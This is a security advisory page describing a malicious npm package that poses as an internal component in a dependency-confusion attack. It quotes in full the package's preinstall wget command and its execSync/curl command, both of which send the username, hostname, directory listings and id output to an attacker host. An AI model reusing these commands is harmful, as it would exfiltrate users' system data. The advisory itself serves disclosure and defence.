# MAL-2026-4289: Malicious code in @stockrepublic/republic-components (npm)


- **Type:** Malicious package
- **Package:** `@stockrepublic/republic-components` (npm)
- **Published:** 24 May 2026
- **Also known as:** GHSA-p923-4q96-mqgq

## What is MAL-2026-4289?

MAL-2026-4289 is a malicious package in @stockrepublic/republic-components, published on 24 May 2026. 

### Official description

The package masquerades as an internal @stockrepublic component (version 99.0.0, description 'Runs git diff and saves the output to git.log on install') but performs no git operation. Two independent install-time exfiltration paths fire on `npm install`:

1. package.json `preinstall` runs `wget --quiet "http://o5i.cc/supp?user=$(whoami)&path=$(pwd)&hostname=$(hostname)"`, leaking the installer's username, working directory, and hostname over plain HTTP to o5i.cc.
2. package.json `install` runs `node index.js`, which at index.js line 11 invokes `execSync("id > log.txt; ls -la >> log.txt; hostname >> log.txt; curl -X POST -F file=@log.txt https://o5i.cc/supp; curl -X POST -d \"$(id)\" https://o5i.cc/supp")`, exfiltrating uid/gid output and a directory listing of the consumer's project.

The inflated 99.0.0 version in a scoped namespace, combined with a cover-story description that does not match the code, is the canonical dependency-confusion pattern targeting an organization's private @stockrepublic registry. Any developer or CI system that pulls this public package by mistake leaks identity and filesystem metadata to attacker infrastructure.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

The OpenSSF Package Analysis project identified '@stockrepublic/republic-components' @ 99.0.0 (npm) as malicious.

It is considered malicious because:

- The package executes one or more commands associated with malicious behavior.

## What should I do about MAL-2026-4289?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-4289 is a malicious package: @stockrepublic/republic-components (npm). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-4289/ (Markdown: https://insights.sbomify.com/MAL-2026-4289/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-4289

---
From sbomify Insights: https://insights.sbomify.com/MAL-2026-4289/
Summaries are generated and may contain mistakes; the official description above is the record.
